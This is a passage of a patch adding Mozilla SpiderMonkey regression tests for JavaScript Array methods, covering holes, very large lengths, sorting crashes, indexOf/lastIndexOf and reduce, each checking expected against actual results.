+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315509;
+var summary = 'Array.prototype.unshift on Arrays with holes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [0,1,2,3,4];
+delete a[1];
+
+expect = '0,,2,3,4';
+actual = a.toString();
+
+reportCompare(expect, actual, summary);
+
+a.unshift('a','b');
+
+expect = 'a,b,0,,2,3,4';
+actual = a.toString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-322135-01.js b/js/src/tests/non262/Array/regress-322135-01.js
new file mode 100644
index 0000000000..2f65724ebc
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-322135-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.push on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array = new Array(length);
+
+printStatus('before array.length = ' + array.length);
+
+try
+{
+ array.push('Kibo');
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary);
+
+//expect = 'Kibo';
+//actual = array[length];
+//reportCompare(expect, actual, summary + ': element appended');
+
+//expect = length;
+//actual = array.length;
+//reportCompare(expect, actual, summary + ': array length unchanged');
diff --git a/js/src/tests/non262/Array/regress-322135-02.js b/js/src/tests/non262/Array/regress-322135-02.js
new file mode 100644
index 0000000000..9bd55bed4a
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-322135-02.js
@@ -0,0 +1,32 @@
+// |reftest| slow -- (bug 1234947)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.concat on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array1 = new Array(length);
+var array2 = ['Kibo'];
+var array;
+
+try
+{
+ array = array1.concat(array2);
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-322135-03.js b/js/src/tests/non262/Array/regress-322135-03.js
new file mode 100644
index 0000000000..bc181ccd07
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-322135-03.js
@@ -0,0 +1,40 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.splice on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array = new Array(length);
+var array1 = ['Kibo'];
+var array;
+
+try
+{
+ array.splice(0, 0, array1);
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary + ': RangeError');
+
+//expect = 'Kibo';
+//actual = array[0];
+//reportCompare(expect, actual, summary + ': element prepended');
+
+//expect = length;
+//actual = array.length;
+//reportCompare(expect, actual, summary + ': array length unchanged');
diff --git a/js/src/tests/non262/Array/regress-322135-04.js b/js/src/tests/non262/Array/regress-322135-04.js
new file mode 100644
index 0000000000..555d0bb294
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-322135-04.js
@@ -0,0 +1,38 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.unshift on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array = new Array(length);
+
+try
+{
+ array.unshift('Kibo');
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary);
+
+//expect = 'Kibo';
+//actual = array[0];
+//reportCompare(expect, actual, summary + ': first prepended');
+
+//expect = length;
+//actual = array.length;
+//reportCompare(expect, actual, summary + ': array length unchanged');
diff --git a/js/src/tests/non262/Array/regress-330812.js b/js/src/tests/non262/Array/regress-330812.js
new file mode 100644
index 0000000000..adc29b52e1
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-330812.js
@@ -0,0 +1,33 @@
+// |reftest| slow-if(xulRuntime.XPCOMABI.match(/x86_64|aarch64|ppc64|ppc64le|s390x|mips64/)||Android) -- No test results
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330812;
+var summary = 'Making Array(1<<29).sort() less problematic';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(3);
+
+printStatus('This test passes if the browser does not hang or crash');
+printStatus('This test expects exit code 0 or 3 to indicate out of memory');
+
+try
+{
+ var result = Array(1 << 29).sort();
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-345961.js b/js/src/tests/non262/Array/regress-345961.js
new file mode 100644
index 0000000000..2002301a85
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-345961.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345961;
+var summary = 'Array.prototype.shift should preserve holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = false;
+
+ var array = new Array(2);
+ array.shift();
+ actual = array.hasOwnProperty(0);
+ reportCompare(expect, actual, summary);
+
+ array=Array(1);
+ array.shift(1);
+ actual = array.hasOwnProperty(1);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-348810.js b/js/src/tests/non262/Array/regress-348810.js
new file mode 100644
index 0000000000..d6cc2efaf8
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-348810.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 348810;
+var summary = 'Do not crash when sorting an array of holes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = Array(1);
+ a.sort();
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-350256-01.js b/js/src/tests/non262/Array/regress-350256-01.js
new file mode 100644
index 0000000000..6f090e1097
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-350256-01.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350256;
+var summary = 'Array.apply maximum arguments';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test(Math.pow(2, 16));
+//-----------------------------------------------------------------------------
+
+function test(length)
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = new Array();
+ a[length - 2] = 'length-2';
+ a[length - 1] = 'length-1';
+
+ var b = Array.apply(null, a);
+
+ expect = length + ',length-2,length-1';
+ actual = b.length + "," + b[length - 2] + "," + b[length - 1];
+ reportCompare(expect, actual, summary);
+
+ function f() {
+ return arguments.length + "," + arguments[length - 2] + "," +
+ arguments[length - 1];
+ }
+
+ expect = length + ',length-2,length-1';
+ actual = f.apply(null, a);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-350256-02.js b/js/src/tests/non262/Array/regress-350256-02.js
new file mode 100644
index 0000000000..3281e2f6b7
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-350256-02.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350256;
+var summary = 'Array.apply maximum arguments';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+reportCompare(true, true, "");
+
+//-----------------------------------------------------------------------------
+if (this.getMaxArgs)
+ test(getMaxArgs());
+
+//-----------------------------------------------------------------------------
+
+function test(length)
+{
+ var a = new Array();
+ a[length - 2] = 'length-2';
+ a[length - 1] = 'length-1';
+
+ var b = Array.apply(null, a);
+
+ expect = length + ',length-2,length-1';
+ actual = b.length + "," + b[length - 2] + "," + b[length - 1];
+ reportCompare(expect, actual, summary);
+
+ function f() {
+ return arguments.length + "," + arguments[length - 2] + "," +
+ arguments[length - 1];
+ }
+
+ expect = length + ',length-2,length-1';
+ actual = f.apply(null, a);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-352742-01.js b/js/src/tests/non262/Array/regress-352742-01.js
new file mode 100644
index 0000000000..8048cb8f1d
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-352742-01.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352742;
+var summary = 'Array filter on {valueOf: Function}';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('If the test harness fails, this test fails.');
+ expect = 4;
+ z = {valueOf: Function};
+ actual = 2;
+ try {
+ [11].filter(z);
+ }
+ catch(e)
+ {
+ actual = 3;
+ }
+ actual = 4;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-352742-02.js b/js/src/tests/non262/Array/regress-352742-02.js
new file mode 100644
index 0000000000..946e8ba907
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-352742-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352742;
+var summary = 'eval("return") in toString';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 3;
+ var j = ({toString: function() { eval("return"); }});
+ actual = 2;
+ try { "" + j; } catch(e){}
+ actual = 3;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-360681-01.js b/js/src/tests/non262/Array/regress-360681-01.js
new file mode 100644
index 0000000000..c842967137
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-360681-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360681;
+var summary = 'Regression from bug 224128';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ var a = Array(3);
+ a[0] = 1;
+ a[1] = 2;
+ a.sort(function () { gc(); return 1; });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-360681-02.js b/js/src/tests/non262/Array/regress-360681-02.js
new file mode 100644
index 0000000000..ab230e1d4b
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-360681-02.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360681;
+var summary = 'Regression from bug 224128';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ var N = 1000;
+
+// Make an array with a hole at the end
+ var a = Array(N);
+ for (i = 0; i < N - 1; ++i)
+ a[i] = 1;
+
+// array_sort due for array with N elements with allocates a temporary vector
+// with 2*N. Lets create strings that on 32 and 64 bit CPU cause allocation
+// of the same amount of memory + 1 word for their char arrays. After we GC
+// strings with a reasonable malloc implementation that memory will be most
+// likely reused in array_sort for the temporary vector. Then the bug causes
+// accessing the one-beyond-the-aloocation word and re-interpretation of
+// 0xFFF0FFF0 as GC thing.
+
+ var str1 = Array(2*(2*N + 1) + 1).join(String.fromCharCode(0xFFF0));
+ var str2 = Array(4*(2*N + 1) + 1).join(String.fromCharCode(0xFFF0));
+ gc();
+ str1 = str2 = null;
+ gc();
+
+ var firstCall = true;
+ a.sort(function (a, b) {
+ if (firstCall) {
+ firstCall = false;
+ gc();
+ }
+ return a - b;
+ });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-364104.js b/js/src/tests/non262/Array/regress-364104.js
new file mode 100644
index 0000000000..05d8953b6e
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-364104.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "364104";
+var summary = "Array.prototype.indexOf, Array.prototype.lastIndexOf issues " +
+ "with the optional second fromIndex argument";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+try
+{
+ // indexOf
+ if ([2].indexOf(2) != 0)
+ throw "indexOf: not finding 2!?";
+ if ([2].indexOf(2, 0) != 0)
+ throw "indexOf: not interpreting explicit second argument 0!";
+ if ([2].indexOf(2, 1) != -1)
+ throw "indexOf: ignoring second argument with value equal to array length!";
+ if ([2].indexOf(2, 2) != -1)
+ throw "indexOf: ignoring second argument greater than array length!";
+ if ([2].indexOf(2, 17) != -1)
+ throw "indexOf: ignoring large second argument!";
+ if ([2].indexOf(2, -5) != 0)
+ throw "indexOf: calculated fromIndex < 0, should search entire array!";
+ if ([2, 3].indexOf(2, -1) != -1)
+ throw "indexOf: not handling index == (-1 + 2), element 2 correctly!";
+ if ([2, 3].indexOf(3, -1) != 1)
+ throw "indexOf: not handling index == (-1 + 2), element 3 correctly!";
+
+ // lastIndexOf
+ if ([2].lastIndexOf(2) != 0)
+ throw "lastIndexOf: not finding 2!?";
+ if ([2].lastIndexOf(2, 1) != 0)
+ throw "lastIndexOf: not interpreting explicit second argument 1!?";
+ if ([2].lastIndexOf(2, 17) != 0)
+ throw "lastIndexOf: should have searched entire array!";
+ if ([2].lastIndexOf(2, -5) != -1)
+ throw "lastIndexOf: -5 + 1 < 0, so array shouldn't be searched!";
+ if ([2].lastIndexOf(2, -2) != -1)
+ throw "lastIndexOf: -2 + 1 < 0, so array shouldn't be searched!";
+ if ([2, 3].lastIndexOf(2, -1) != 0)
+ throw "lastIndexOf: not handling index == (-1 + 2), element 2 correctly!";
+ if ([2, 3].lastIndexOf(3, -1) != 1)
+ throw "lastIndexOf: not handling index == (-1 + 2), element 3 correctly!";
+ if ([2, 3].lastIndexOf(2, -2) != 0)
+ throw "lastIndexOf: not handling index == (-2 + 2), element 2 correctly!";
+ if ([2, 3].lastIndexOf(3, -2) != -1)
+ throw "lastIndexOf: not handling index == (-2 + 2), element 3 correctly!";
+ if ([2, 3].lastIndexOf(2, -3) != -1)
+ throw "lastIndexOf: calculated fromIndex < 0, shouldn't search array for 2!";
+ if ([2, 3].lastIndexOf(3, -3) != -1)
+ throw "lastIndexOf: calculated fromIndex < 0, shouldn't search array for 3!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-386030.js b/js/src/tests/non262/Array/regress-386030.js
new file mode 100644
index 0000000000..239e7e11ad
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-386030.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 386030;
+var summary = 'Array.reduce should ignore holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function add(a, b) { return a + b; }
+ function testreduce(v) { return v == 3 ? "PASS" : "FAIL"; }
+
+ expect = 'PASS';
+
+ try {
+ a = new Array(2);
+ a[1] = 3;
+ actual = testreduce(a.reduce(add));
+ } catch (e) {
+ actual = "FAIL, reduce";
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try {
+ a = new Array(2);
+ a[0] = 3;
+ actual = testreduce(a.reduceRight(add));
+ } catch (e) {
+ actual = "FAIL, reduceRight";
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try {
+ a = new Array(2);
+ a.reduce(add);
+ actual = "FAIL, empty reduce";
+ } catch (e) {
+ actual = "PASS";
+ }
+ reportCompare(expect, actual, summary + ': 3');
+
+ try {
+ a = new Array(2);
+ print(a.reduceRight(add));
+ actual = "FAIL, empty reduceRight";
+ } catch (e) {
+ actual = "PASS";
+ }
+ reportCompare(expect, actual, summary + ': 4');
+}
diff --git a/js/src/tests/non262/Array/regress-387501.js b/js/src/tests/non262/Array/regress-387501.js
new file mode 100644
index 0000000000..3f800c14b2
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-387501.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387501;
+var summary =
+ 'Array.prototype.toString|toLocaleString|toSource are generic';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '[object String]';
+ actual = Array.prototype.toString.call((new String('foo')));
+ assertEq(actual, expect, summary);
+
+ expect = 'f,o,o';
+ actual = Array.prototype.toLocaleString.call((new String('foo')));
+ assertEq(actual, expect, summary);
+
+ if (typeof Array.prototype.toSource != 'undefined')
+ {
+ assertEq('["f", "o", "o"]', Array.prototype.toSource.call(new String('foo')));
+
+ try
+ {
+ Array.prototype.toSource.call('foo');
+ throw new Error("didn't throw");
+ }
+ catch(ex)
+ {
+ assertEq(ex instanceof TypeError, true,
+ "wrong error thrown: expected TypeError, got " + ex);
+ }
+ }
+
+ reportCompare(true, true, "Tests complete");
+}
diff --git a/js/src/tests/non262/Array/regress-390598.js b/js/src/tests/non262/Array/regress-390598.js
new file mode 100644
index 0000000000..ec34a5b121
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-390598.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390598;
+var summary = 'Override inherited length of Array-like object';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function F() {}
+ F.prototype = [];
+
+ // override inherited length from the prototype.
+ expect = 10;
+ var x = new F();
+
+ print('x = new F(); x instanceof Array: ' + (x instanceof Array));
+
+ x.length = expect;
+ actual = x.length;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-415451.js b/js/src/tests/non262/Array/regress-415451.js
new file mode 100644
index 0000000000..b4674f5df8
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-415451.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 415451;
+var summary = 'indexOf/lastIndexOf behavior';
+
+var expected = "3,0,3,3,3,-1,-1";
+results = [];
+var a = [1,2,3,1];
+for (var i=-1; i < a.length+2; i++)
+ results.push(a.indexOf(1,i));
+var actual = String(results);
+reportCompare(expected, actual, "indexOf");
+
+results = [];
+var expected = "3,0,0,0,3,3,3";
+for (var i=-1; i < a.length+2; i++)
+ results.push(a.lastIndexOf(1,i));
+var actual = String(results);
+reportCompare(expected, actual, "lastIndexOf");
+
diff --git a/js/src/tests/non262/Array/regress-421325.js b/js/src/tests/non262/Array/regress-421325.js
new file mode 100644
index 0000000000..fece43a64f
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-421325.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 421325;
+var summary = 'Dense Arrays and holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype[1] = 'bar';
+
+ var a = [];
+ a[0]='foo';
+ a[2] = 'baz';
+ expect = 'foo,bar,baz';
+ actual = a + '';
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-422286.js b/js/src/tests/non262/Array/regress-422286.js
new file mode 100644
index 0000000000..e00d40d752
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-422286.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 422286;
+var summary = 'Array slice when array\'s length is assigned';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array(10000).slice(1);
+ a = Array(1);
+ a.length = 10000;
+ a.slice(1);
+ a = Array(1);
+ a.length = 10000;
+ a.slice(-1);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-424954.js b/js/src/tests/non262/Array/regress-424954.js
new file mode 100644
index 0000000000..3b2f78936b
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-424954.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 424954;
+var summary = 'Do not crash with [].concat(null)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ [].concat(null);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-430717.js b/js/src/tests/non262/Array/regress-430717.js
new file mode 100644
index 0000000000..cf5f302a63
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-430717.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430717;
+var summary = 'Dense Arrays should inherit deleted elements from Array.prototype';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype[2] = "two";
+ var a = [0,1,2,3];
+ delete a[2];
+
+ expect = 'two';
+ actual = a[2];
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-451483.js b/js/src/tests/non262/Array/regress-451483.js
new file mode 100644
index 0000000000..49bb66e7db
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-451483.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451483;
+var summary = '[].splice.call(0) == []';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+ var result = [].splice.call(0);
+ print('[].splice.call(0) = ' + result);
+ actual = result instanceof Array && result.length == 0;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-451906.js b/js/src/tests/non262/Array/regress-451906.js
new file mode 100644
index 0000000000..c80962e435
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-451906.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
